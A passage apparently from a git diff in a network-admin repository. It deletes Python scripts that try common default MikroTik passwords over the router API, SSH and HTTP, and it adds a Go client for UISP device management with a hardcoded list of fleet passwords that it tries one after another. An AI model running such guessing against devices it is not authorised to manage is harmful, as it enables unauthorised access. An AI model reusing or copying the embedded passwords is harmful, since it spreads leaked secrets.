|
||||
self.ssl_sock.close()
|
||||
if self.sock:
|
||||
self.sock.close()
|
||||
|
||||
def encode_length(self, length):
|
||||
"""Encode length for MikroTik API protocol"""
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
elif length <= 0x1FFFFF:
|
||||
return bytes([((length >> 16) & 0xFF) | 0xC0,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
elif length <= 0xFFFFFFF:
|
||||
return bytes([((length >> 24) & 0xFF) | 0xE0,
|
||||
(length >> 16) & 0xFF,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
else:
|
||||
return bytes([0xF0,
|
||||
(length >> 24) & 0xFF,
|
||||
(length >> 16) & 0xFF,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
|
||||
def decode_length(self):
|
||||
"""Decode length from MikroTik API protocol"""
|
||||
c = self.ssl_sock.recv(1)[0]
|
||||
|
||||
if (c & 0x80) == 0x00:
|
||||
return c
|
||||
elif (c & 0xC0) == 0x80:
|
||||
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
|
||||
elif (c & 0xE0) == 0xC0:
|
||||
data = self.ssl_sock.recv(2)
|
||||
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
|
||||
elif (c & 0xF0) == 0xE0:
|
||||
data = self.ssl_sock.recv(3)
|
||||
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
|
||||
elif (c & 0xF8) == 0xF0:
|
||||
data = self.ssl_sock.recv(4)
|
||||
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
|
||||
|
||||
def write_word(self, word):
|
||||
"""Send a word to the router"""
|
||||
word_bytes = word.encode('utf-8')
|
||||
self.ssl_sock.send(self.encode_length(len(word_bytes)))
|
||||
self.ssl_sock.send(word_bytes)
|
||||
|
||||
def read_word(self):
|
||||
"""Read a word from the router"""
|
||||
length = self.decode_length()
|
||||
if length == 0:
|
||||
return ""
|
||||
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
|
||||
|
||||
def write_sentence(self, words):
|
||||
"""Send a sentence (list of words) to the router"""
|
||||
for word in words:
|
||||
self.write_word(word)
|
||||
self.write_word("")
|
||||
|
||||
def read_sentence(self):
|
||||
"""Read a sentence from the router"""
|
||||
sentence = []
|
||||
while True:
|
||||
word = self.read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
return sentence
|
||||
|
||||
def test_login(self, username, password):
|
||||
"""Test login credentials"""
|
||||
if not self.connect():
|
||||
return False
|
||||
|
||||
try:
|
||||
# Send login command
|
||||
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
|
||||
|
||||
# Read response
|
||||
response = self.read_sentence()
|
||||
|
||||
if response and response[0] == "!done":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"Login test error: {e}")
|
||||
return False
|
||||
finally:
|
||||
self.disconnect()
|
||||
|
||||
def main():
|
||||
host = "10.250.2.2"
|
||||
|
||||
# Test both SSL and non-SSL ports
|
||||
ports = [8729, 8728] # SSL and non-SSL
|
||||
|
||||
# Common MikroTik default passwords
|
||||
credentials = [
|
||||
("admin", ""), # Empty password
|
||||
("admin", "admin"), # admin/admin
|
||||
("admin", "password"), # admin/password
|
||||
("admin", "123456"), # admin/123456
|
||||
("admin", "mikrotik"), # admin/mikrotik
|
||||
("admin", "router"), # admin/router
|
||||
("admin", "default"), # admin/default
|
||||
]
|
||||
|
||||
print(f"Testing MikroTik API authentication on {host}")
|
||||
print("=" * 60)
|
||||
|
||||
for port in ports:
|
||||
port_type = "SSL" if port == 8729 else "Non-SSL"
|
||||
print(f"\nTesting port {port} ({port_type}):")
|
||||
|
||||
tester = MikrotikAPITester(host, port)
|
||||
|
||||
for username, password in credentials:
|
||||
pwd_display = f'"{password}"' if password else "(empty)"
|
||||
print(f" Testing {username}:{pwd_display}...", end=" ")
|
||||
|
||||
if tester.test_login(username, password):
|
||||
print(f"✓ SUCCESS!")
|
||||
print(f"\n*** WORKING CREDENTIALS FOUND ***")
|
||||
print(f"Host: {host}")
|
||||
print(f"Port: {port} ({port_type})")
|
||||
print(f"Username: {username}")
|
||||
print(f"Password: {pwd_display}")
|
||||
return
|
||||
else:
|
||||
print("✗ Failed")
|
||||
|
||||
print("\nNo working credentials found with common defaults.")
|
||||
print("\nSuggestions:")
|
||||
print("1. Device may have custom password")
|
||||
print("2. Try hardware reset if you own the device")
|
||||
print("3. Check if WinBox shows any additional information")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,94 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple MikroTik credential tester
|
||||
Tests common default passwords for MikroTik devices
|
||||
"""
|
||||
import paramiko
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
import time
|
||||
|
||||
def test_ssh_credentials(host, username, password, timeout=5):
|
||||
"""Test SSH credentials"""
|
||||
try:
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(
|
||||
host,
|
||||
port=22,
|
||||
username=username,
|
||||
password=password,
|
||||
timeout=timeout,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
client.close()
|
||||
return True
|
||||
except paramiko.AuthenticationException:
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"SSH connection error: {e}")
|
||||
return False
|
||||
|
||||
def test_http_credentials(host, username, password, timeout=5):
|
||||
"""Test HTTP credentials by checking for successful auth"""
|
||||
try:
|
||||
# Try to access a protected resource
|
||||
response = requests.get(
|
||||
f"http://{host}/status",
|
||||
auth=HTTPBasicAuth(username, password),
|
||||
timeout=timeout,
|
||||
allow_redirects=False
|
||||
)
|
||||
# If we get anything other than 401/403, auth might be working
|
||||
return response.status_code not in [401, 403]
|
||||
except Exception as e:
|
||||
print(f"HTTP connection error: {e}")
|
||||
return False
|
||||
|
||||
def main():
|
||||
host = "10.250.2.2"
|
||||
username = "admin"
|
||||
|
||||
# Common MikroTik default passwords
|
||||
passwords = [
|
||||
"", # Empty password
|
||||
"admin", # admin/admin
|
||||
"password", # admin/password
|
||||
"123456", # admin/123456
|
||||
"mikrotik", # admin/mikrotik
|
||||
"router", # admin/router
|
||||
"default", # admin/default
|
||||
"1234", # admin/1234
|
||||
"pass", # admin/pass
|
||||
]
|
||||
|
||||
print(f"Testing credentials for MikroTik device at {host}")
|
||||
print("=" * 50)
|
||||
|
||||
for password in passwords:
|
||||
pwd_display = f'"{password}"' if password else "(empty)"
|
||||
print(f"Testing {username}:{pwd_display}...", end=" ")
|
||||
|
||||
# Test SSH first
|
||||
if test_ssh_credentials(host, username, password):
|
||||
print(f"✓ SSH SUCCESS with {username}:{pwd_display}")
|
||||
return password
|
||||
|
||||
# Test HTTP
|
||||
if test_http_credentials(host, username, password):
|
||||
print(f"✓ HTTP SUCCESS with {username}:{pwd_display}")
|
||||
return password
|
||||
|
||||
print("✗ Failed")
|
||||
time.sleep(0.5) # Be polite
|
||||
|
||||
print("\nNo common default passwords worked.")
|
||||
print("Suggestions:")
|
||||
print("1. Device may have custom password")
|
||||
print("2. Device may use different default algorithm")
|
||||
print("3. Consider hardware reset if you own the device")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,166 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
MikroTik Plain API Authentication Tester
|
||||
Tests credentials using plain (non-SSL) MikroTik API protocol on port 8728
|
||||
"""
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
class MikrotikPlainAPITester:
|
||||
def __init__(self, host, port=8728):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.sock = None
|
||||
|
||||
def connect(self):
|
||||
"""Establish plain connection to MikroTik router"""
|
||||
try:
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.settimeout(10)
|
||||
self.sock.connect((self.host, self.port))
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection failed: {e}")
|
||||
return False
|
||||
|
||||
def disconnect(self):
|
||||
"""Close the connection"""
|
||||
if self.sock:
|
||||
self.sock.close()
|
||||
|
||||
def encode_length(self, length):
|
||||
"""Encode length for MikroTik API protocol"""
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
elif length <= 0x1FFFFF:
|
||||
return bytes([((length >> 16) & 0xFF) | 0xC0,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
elif length <= 0xFFFFFFF:
|
||||
return bytes([((length >> 24) & 0xFF) | 0xE0,
|
||||
(length >> 16) & 0xFF,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
else:
|
||||
return bytes([0xF0,
|
||||
(length >> 24) & 0xFF,
|
||||
(length >> 16) & 0xFF,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
|
||||
def decode_length(self):
|
||||
"""Decode length from MikroTik API protocol"""
|
||||
c = self.sock.recv(1)[0]
|
||||
|
||||
if (c & 0x80) == 0x00:
|
||||
return c
|
||||
elif (c & 0xC0) == 0x80:
|
||||
return ((c & ~0xC0) << 8) + self.sock.recv(1)[0]
|
||||
elif (c & 0xE0) == 0xC0:
|
||||
data = self.sock.recv(2)
|
||||
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
|
||||
elif (c & 0xF0) == 0xE0:
|
||||
data = self.sock.recv(3)
|
||||
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
|
||||
elif (c & 0xF8) == 0xF0:
|
||||
data = self.sock.recv(4)
|
||||
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
|
||||
|
||||
def write_word(self, word):
|
||||
"""Send a word to the router"""
|
||||
word_bytes = word.encode('utf-8')
|
||||
self.sock.send(self.encode_length(len(word_bytes)))
|
||||
self.sock.send(word_bytes)
|
||||
|
||||
def read_word(self):
|
||||
"""Read a word from the router"""
|
||||
length = self.decode_length()
|
||||
if length == 0:
|
||||
return ""
|
||||
return self.sock.recv(length).decode('utf-8', 'ignore')
|
||||
|
||||
def write_sentence(self, words):
|
||||
"""Send a sentence (list of words) to the router"""
|
||||
for word in words:
|
||||
self.write_word(word)
|
||||
self.write_word("")
|
||||
|
||||
def read_sentence(self):
|
||||
"""Read a sentence from the router"""
|
||||
sentence = []
|
||||
while True:
|
||||
word = self.read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
return sentence
|
||||
|
||||
def test_login(self, username, password):
|
||||
"""Test login credentials"""
|
||||
if not self.connect():
|
||||
return False
|
||||
|
||||
try:
|
||||
# Send login command
|
||||
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
|
||||
|
||||
# Read response
|
||||
response = self.read_sentence()
|
||||
|
||||
if response and response[0] == "!done":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"Login test error: {e}")
|
||||
return False
|
||||
finally:
|
||||
self.disconnect()
|
||||
|
||||
def main():
|
||||
host = "10.250.2.2"
|
||||
port = 8728 # Plain API port
|
||||
|
||||
# Common MikroTik default passwords
|
||||
credentials = [
|
||||
("admin", ""), # Empty password
|
||||
("admin", "admin"), # admin/admin
|
||||
("admin", "password"), # admin/password
|
||||
("admin", "123456"), # admin/123456
|
||||
("admin", "mikrotik"), # admin/mikrotik
|
||||
("admin", "router"), # admin/router
|
||||
("admin", "default"), # admin/default
|
||||
]
|
||||
|
||||
print(f"Testing MikroTik Plain API authentication on {host}:{port}")
|
||||
print("=" * 60)
|
||||
|
||||
tester = MikrotikPlainAPITester(host, port)
|
||||
|
||||
for username, password in credentials:
|
||||
pwd_display = f'"{password}"' if password else "(empty)"
|
||||
print(f"Testing {username}:{pwd_display}...", end=" ")
|
||||
|
||||
if tester.test_login(username, password):
|
||||
print(f"✓ SUCCESS!")
|
||||
print(f"\n*** WORKING CREDENTIALS FOUND ***")
|
||||
print(f"Host: {host}")
|
||||
print(f"Port: {port} (Plain API)")
|
||||
print(f"Username: {username}")
|
||||
print(f"Password: {pwd_display}")
|
||||
return
|
||||
else:
|
||||
print("✗ Failed")
|
||||
|
||||
print("\nNo working credentials found with common defaults.")
|
||||
print("\nNext steps:")
|
||||
print("1. Device likely has custom password")
|
||||
print("2. Consider hardware reset if you own the device")
|
||||
print("3. Check device label for default credentials")
|
||||
print("4. Try WinBox which might show more info")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
3
uisp/go.mod
Normal file
3
uisp/go.mod
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
module github.com/grahammcintire/uisp-cli
|
||||
|
||||
go 1.26.2
|
||||
900
uisp/main.go
Normal file
900
uisp/main.go
Normal file
|
|
@ -0,0 +1,900 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
)
|
||||
|
||||
const defaultBaseURL = "https://uisp.vntx.net"
|
||||
|
||||
type Client struct {
|
||||
BaseURL string
|
||||
Token string
|
||||
HTTP *http.Client
|
||||
}
|
||||
|
||||
func NewClient() (*Client, error) {
|
||||
tok := os.Getenv("UISP_KEY")
|
||||
if tok == "" {
|
||||
tok = os.Getenv("UISP_TOKEN")
|
||||
}
|
||||
if tok == "" {
|
||||
return nil, errors.New("UISP_KEY env var is not set")
|
||||
}
|
||||
base := os.Getenv("UISP_URL")
|
||||
if base == "" {
|
||||
base = defaultBaseURL
|
||||
}
|
||||
return &Client{
|
||||
BaseURL: strings.TrimRight(base, "/"),
|
||||
Token: tok,
|
||||
HTTP: &http.Client{Timeout: 60 * time.Second},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *Client) do(method, path string, body any, out any) error {
|
||||
var rdr io.Reader
|
||||
if body != nil {
|
||||
b, err := json.Marshal(body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rdr = bytes.NewReader(b)
|
||||
}
|
||||
url := c.BaseURL + "/nms/api/v2.1" + path
|
||||
req, err := http.NewRequest(method, url, rdr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("X-Auth-Token", c.Token)
|
||||
req.Header.Set("Accept", "application/json")
|
||||
if body != nil {
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
}
|
||||
resp, err := c.HTTP.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode >= 400 {
|
||||
return fmt.Errorf("%s %s: %s: %s", method, url, resp.Status, strings.TrimSpace(string(data)))
|
||||
}
|
||||
if out != nil && len(data) > 0 {
|
||||
if err := json.Unmarshal(data, out); err != nil {
|
||||
return fmt.Errorf("decode %s: %w (body: %s)", url, err, truncate(string(data), 200))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func firstNonEmpty(vals ...string) string {
|
||||
for _, v := range vals {
|
||||
if v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func truncate(s string, n int) string {
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return s[:n] + "..."
|
||||
}
|
||||
|
||||
// Device shapes — UISP returns rich nested JSON; we only model what we use.
|
||||
type Device struct {
|
||||
Identification struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Hostname string `json:"hostname"`
|
||||
DisplayName string `json:"displayName"`
|
||||
Model string `json:"model"`
|
||||
ModelName string `json:"modelName"`
|
||||
Type string `json:"type"`
|
||||
Category string `json:"category"`
|
||||
MAC string `json:"mac"`
|
||||
Authorized bool `json:"authorized"`
|
||||
FirmwareVersion string `json:"firmwareVersion"`
|
||||
PlatformID string `json:"platformId"`
|
||||
PlatformName string `json:"platformName"`
|
||||
Site *struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
} `json:"site"`
|
||||
} `json:"identification"`
|
||||
Firmware struct {
|
||||
Current string `json:"current"`
|
||||
Latest string `json:"latest"`
|
||||
LatestStatus string `json:"latestStatus"`
|
||||
Compatible bool `json:"compatible"`
|
||||
} `json:"firmware"`
|
||||
Overview struct {
|
||||
Status string `json:"status"`
|
||||
Unauthorized bool `json:"unauthorized"`
|
||||
CanUpgrade bool `json:"canUpgrade"`
|
||||
} `json:"overview"`
|
||||
Discovery *struct {
|
||||
Status string `json:"status"`
|
||||
Error string `json:"error"`
|
||||
Protocol string `json:"protocol"`
|
||||
IsProcessing bool `json:"isProcessing"`
|
||||
} `json:"discovery"`
|
||||
}
|
||||
|
||||
// Firmware is one entry from /nms/api/v2.1/firmwares.
|
||||
// UISP wraps everything under "identification".
|
||||
type Firmware struct {
|
||||
Identification struct {
|
||||
ID string `json:"id"`
|
||||
Version string `json:"version"`
|
||||
Stable bool `json:"stable"`
|
||||
Lite bool `json:"lite"`
|
||||
PlatformID string `json:"platformId"`
|
||||
Models []string `json:"models"`
|
||||
Origin string `json:"origin"`
|
||||
FirmwareCompatibility string `json:"firmwareCompatibility"`
|
||||
} `json:"identification"`
|
||||
Semver struct {
|
||||
Major int `json:"major"`
|
||||
Minor int `json:"minor"`
|
||||
Patch int `json:"patch"`
|
||||
} `json:"semver"`
|
||||
}
|
||||
|
||||
func (c *Client) ListFirmwares() ([]Firmware, error) {
|
||||
var fws []Firmware
|
||||
if err := c.do("GET", "/firmwares", nil, &fws); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return fws, nil
|
||||
}
|
||||
|
||||
// latestFirmwareFor finds the highest-version stable firmware matching the
|
||||
// device's platformId and model. Returns "" if none found.
|
||||
func latestFirmwareFor(fws []Firmware, d Device) string {
|
||||
plat := d.Identification.PlatformID
|
||||
model := d.Identification.Model
|
||||
if plat == "" || model == "" {
|
||||
return ""
|
||||
}
|
||||
var best string
|
||||
for _, fw := range fws {
|
||||
if fw.Identification.PlatformID != plat {
|
||||
continue
|
||||
}
|
||||
if !modelMatches(fw, model) {
|
||||
continue
|
||||
}
|
||||
v := fw.Identification.Version
|
||||
if best == "" || versionLess(best, v) {
|
||||
best = v
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
func modelMatches(fw Firmware, model string) bool {
|
||||
if len(fw.Identification.Models) == 0 {
|
||||
return true // some firmwares apply to a whole platform
|
||||
}
|
||||
for _, m := range fw.Identification.Models {
|
||||
if m == model {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// versionLess compares two firmware version strings (e.g. "6.3.24", "8.7.13").
|
||||
// Returns true if a < b. Treats trailing non-numeric segments as 0.
|
||||
func versionLess(a, b string) bool {
|
||||
ap, bp := parseVersion(a), parseVersion(b)
|
||||
for i := 0; i < len(ap) || i < len(bp); i++ {
|
||||
var av, bv int
|
||||
if i < len(ap) {
|
||||
av = ap[i]
|
||||
}
|
||||
if i < len(bp) {
|
||||
bv = bp[i]
|
||||
}
|
||||
if av != bv {
|
||||
return av < bv
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func parseVersion(v string) []int {
|
||||
v = strings.TrimPrefix(v, "v")
|
||||
// Cut at first non-version separator like "-" or "+".
|
||||
if i := strings.IndexAny(v, "-+ "); i >= 0 {
|
||||
v = v[:i]
|
||||
}
|
||||
parts := strings.Split(v, ".")
|
||||
out := make([]int, 0, len(parts))
|
||||
for _, p := range parts {
|
||||
n := 0
|
||||
for _, r := range p {
|
||||
if r < '0' || r > '9' {
|
||||
break
|
||||
}
|
||||
n = n*10 + int(r-'0')
|
||||
}
|
||||
out = append(out, n)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (c *Client) ListDevices() ([]Device, error) {
|
||||
var devs []Device
|
||||
if err := c.do("GET", "/devices?withInterfaces=false", nil, &devs); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return devs, nil
|
||||
}
|
||||
|
||||
// ListDiscovered returns devices UISP has detected but not yet adopted
|
||||
// (the "Pending Adoption" list in the UI).
|
||||
func (c *Client) ListDiscovered() ([]Device, error) {
|
||||
var devs []Device
|
||||
if err := c.do("GET", "/devices/discovered", nil, &devs); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return devs, nil
|
||||
}
|
||||
|
||||
// ConnectUbnt adopts one or more discovered Ubiquiti devices using the
|
||||
// supplied credentials. UISP attempts to log in with these creds; on success
|
||||
// the devices appear in /devices and are assignable to a site.
|
||||
func (c *Client) ConnectUbnt(deviceIDs []string, username, password string, httpsPort int) error {
|
||||
if httpsPort == 0 {
|
||||
httpsPort = 443
|
||||
}
|
||||
body := map[string]any{
|
||||
"deviceIds": deviceIDs,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"httpsPort": httpsPort,
|
||||
}
|
||||
return c.do("POST", "/discovery/connect/ubnt", body, nil)
|
||||
}
|
||||
|
||||
type Site struct {
|
||||
ID string `json:"id"`
|
||||
Identification struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
} `json:"identification"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
func (c *Client) ListSites() ([]Site, error) {
|
||||
var sites []Site
|
||||
if err := c.do("GET", "/sites", nil, &sites); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return sites, nil
|
||||
}
|
||||
|
||||
func (c *Client) FindSiteByName(name string) (string, error) {
|
||||
sites, err := c.ListSites()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
want := strings.ToLower(strings.TrimSpace(name))
|
||||
for _, s := range sites {
|
||||
// API returns site name under identification.name; fall back to top-level fields.
|
||||
n := s.Identification.Name
|
||||
if n == "" {
|
||||
n = s.Name
|
||||
}
|
||||
if strings.ToLower(n) == want {
|
||||
id := s.Identification.ID
|
||||
if id == "" {
|
||||
id = s.ID
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("site %q not found", name)
|
||||
}
|
||||
|
||||
// AssignDevicesToSite uses the same /devices/authorize endpoint the UI
|
||||
// hits after adoption — supplying siteId + deviceIds bulk-assigns them.
|
||||
func (c *Client) AssignDevicesToSite(deviceIDs []string, siteID string) error {
|
||||
body := map[string]any{
|
||||
"siteId": siteID,
|
||||
"deviceIds": deviceIDs,
|
||||
}
|
||||
return c.do("POST", "/devices/authorize", body, nil)
|
||||
}
|
||||
|
||||
// StandardCredentials are the canonical username/password combos used across
|
||||
// the VNTX fleet. They're tried in order; first 2xx wins.
|
||||
var StandardCredentials = []struct{ User, Pass string }{
|
||||
{"ubnt", "fngckewl"},
|
||||
{"ubnt", "vntx1830"},
|
||||
{"ubnt", "Vntx1830"},
|
||||
{"ubnt", "vntx1830vntx"},
|
||||
}
|
||||
|
||||
func (c *Client) SetDeviceCredentials(id, user, pw string) error {
|
||||
body := map[string]any{"username": user, "password": pw}
|
||||
return c.do("POST", "/devices/"+id+"/credentials", body, nil)
|
||||
}
|
||||
|
||||
// TryStandardCredentials walks the StandardCredentials list and stops on the
|
||||
// first one the API accepts (2xx). Returns the user/pw that worked.
|
||||
func (c *Client) TryStandardCredentials(id string) (string, string, error) {
|
||||
var lastErr error
|
||||
for _, kp := range StandardCredentials {
|
||||
if err := c.SetDeviceCredentials(id, kp.User, kp.Pass); err != nil {
|
||||
lastErr = err
|
||||
continue
|
||||
}
|
||||
return kp.User, kp.Pass, nil
|
||||
}
|
||||
if lastErr == nil {
|
||||
lastErr = errors.New("no credentials attempted")
|
||||
}
|
||||
return "", "", lastErr
|
||||
}
|
||||
|
||||
func (c *Client) UpgradeDevice(id string) error {
|
||||
return c.do("POST", "/devices/"+id+"/system/upgrade", nil, nil)
|
||||
}
|
||||
|
||||
func dispName(d Device) string {
|
||||
if d.Identification.Hostname != "" {
|
||||
return d.Identification.Hostname
|
||||
}
|
||||
if d.Identification.Name != "" {
|
||||
return d.Identification.Name
|
||||
}
|
||||
return d.Identification.MAC
|
||||
}
|
||||
|
||||
func cmdList(args []string) error {
|
||||
fs := flag.NewFlagSet("list", flag.ExitOnError)
|
||||
unauth := fs.Bool("unauthorized", false, "show only unauthorized devices")
|
||||
upgradable := fs.Bool("upgradable", false, "show only devices with a firmware update available")
|
||||
jsonOut := fs.Bool("json", false, "output parsed JSON (struct shape)")
|
||||
rawOut := fs.Bool("raw", false, "dump raw JSON from the API (use to debug field paths)")
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return err
|
||||
}
|
||||
c, err := NewClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if *rawOut {
|
||||
req, _ := http.NewRequest("GET", c.BaseURL+"/nms/api/v2.1/devices?withInterfaces=false", nil)
|
||||
req.Header.Set("X-Auth-Token", c.Token)
|
||||
req.Header.Set("Accept", "application/json")
|
||||
resp, err := c.HTTP.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var raw any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&raw); err != nil {
|
||||
return err
|
||||
}
|
||||
enc := json.NewEncoder(os.Stdout)
|
||||
enc.SetIndent("", " ")
|
||||
return enc.Encode(raw)
|
||||
}
|
||||
var devs []Device
|
||||
if *unauth {
|
||||
devs, err = c.ListDiscovered()
|
||||
} else {
|
||||
devs, err = c.ListDevices()
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fws, fwErr := c.ListFirmwares()
|
||||
if fwErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "warning: could not list firmwares: %v\n", fwErr)
|
||||
}
|
||||
filtered := devs[:0]
|
||||
for _, d := range devs {
|
||||
if *upgradable && !needsUpgrade(d, fws) {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, d)
|
||||
}
|
||||
sort.Slice(filtered, func(i, j int) bool { return dispName(filtered[i]) < dispName(filtered[j]) })
|
||||
|
||||
if *jsonOut {
|
||||
enc := json.NewEncoder(os.Stdout)
|
||||
enc.SetIndent("", " ")
|
||||
return enc.Encode(filtered)
|
||||
}
|
||||
|
||||
tw := tabwriter.NewWriter(os.Stdout, 0, 0, 2, ' ', 0)
|
||||
fmt.Fprintln(tw, "ID\tNAME\tMODEL\tSITE\tFW (cur → latest)\tSTATUS\tAUTH\tUPGRADE?")
|
||||
for _, d := range filtered {
|
||||
site := ""
|
||||
if d.Identification.Site != nil {
|
||||
site = d.Identification.Site.Name
|
||||
}
|
||||
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
|
||||
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
|
||||
fw := cur
|
||||
if latest != "" && latest != cur && versionLess(cur, latest) {
|
||||
fw = cur + " → " + latest
|
||||
}
|
||||
if fw == "" {
|
||||
fw = "-"
|
||||
}
|
||||
auth := "yes"
|
||||
if isUnauthorized(d) {
|
||||
auth = "NO"
|
||||
}
|
||||
up := ""
|
||||
if needsUpgrade(d, fws) {
|
||||
up = "yes"
|
||||
}
|
||||
fmt.Fprintf(tw, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
d.Identification.ID, dispName(d), d.Identification.ModelName,
|
||||
site, fw, d.Overview.Status, auth, up)
|
||||
}
|
||||
return tw.Flush()
|
||||
}
|
||||
|
||||
func isUnauthorized(d Device) bool {
|
||||
return d.Overview.Unauthorized || !d.Identification.Authorized
|
||||
}
|
||||
|
||||
func canUpgrade(d Device) bool {
|
||||
if d.Overview.CanUpgrade {
|
||||
return true
|
||||
}
|
||||
if d.Firmware.Latest != "" && d.Firmware.Current != "" && d.Firmware.Latest != d.Firmware.Current {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// needsUpgrade decides whether a device should be upgraded. We require a
|
||||
// real model and current version, then compare against the /firmwares
|
||||
// catalog. UISP's overview.canUpgrade flag is unreliable — it stays true
|
||||
// for blackBox/UNKNOWN devices we can't actually update — so we ignore it
|
||||
// when there's no catalog answer.
|
||||
func needsUpgrade(d Device, fws []Firmware) bool {
|
||||
if d.Identification.Type == "blackBox" {
|
||||
return false
|
||||
}
|
||||
model := d.Identification.Model
|
||||
if model == "" || model == "UNKNOWN" {
|
||||
return false
|
||||
}
|
||||
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
|
||||
if cur == "" {
|
||||
return false
|
||||
}
|
||||
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
|
||||
if latest == "" {
|
||||
return false
|
||||
}
|
||||
return versionLess(cur, latest)
|
||||
}
|
||||
|
||||
func cmdApprove(args []string) error {
|
||||
fs := flag.NewFlagSet("approve", flag.ExitOnError)
|
||||
all := fs.Bool("all", false, "approve all discovered (pending-adoption) devices")
|
||||
dry := fs.Bool("dry-run", false, "show what would be approved without doing it")
|
||||
site := fs.String("site", "vntx", "site name to assign devices to (empty = skip)")
|
||||
port := fs.Int("port", 443, "HTTPS port UISP uses to reach the device")
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return err
|
||||
}
|
||||
c, err := NewClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
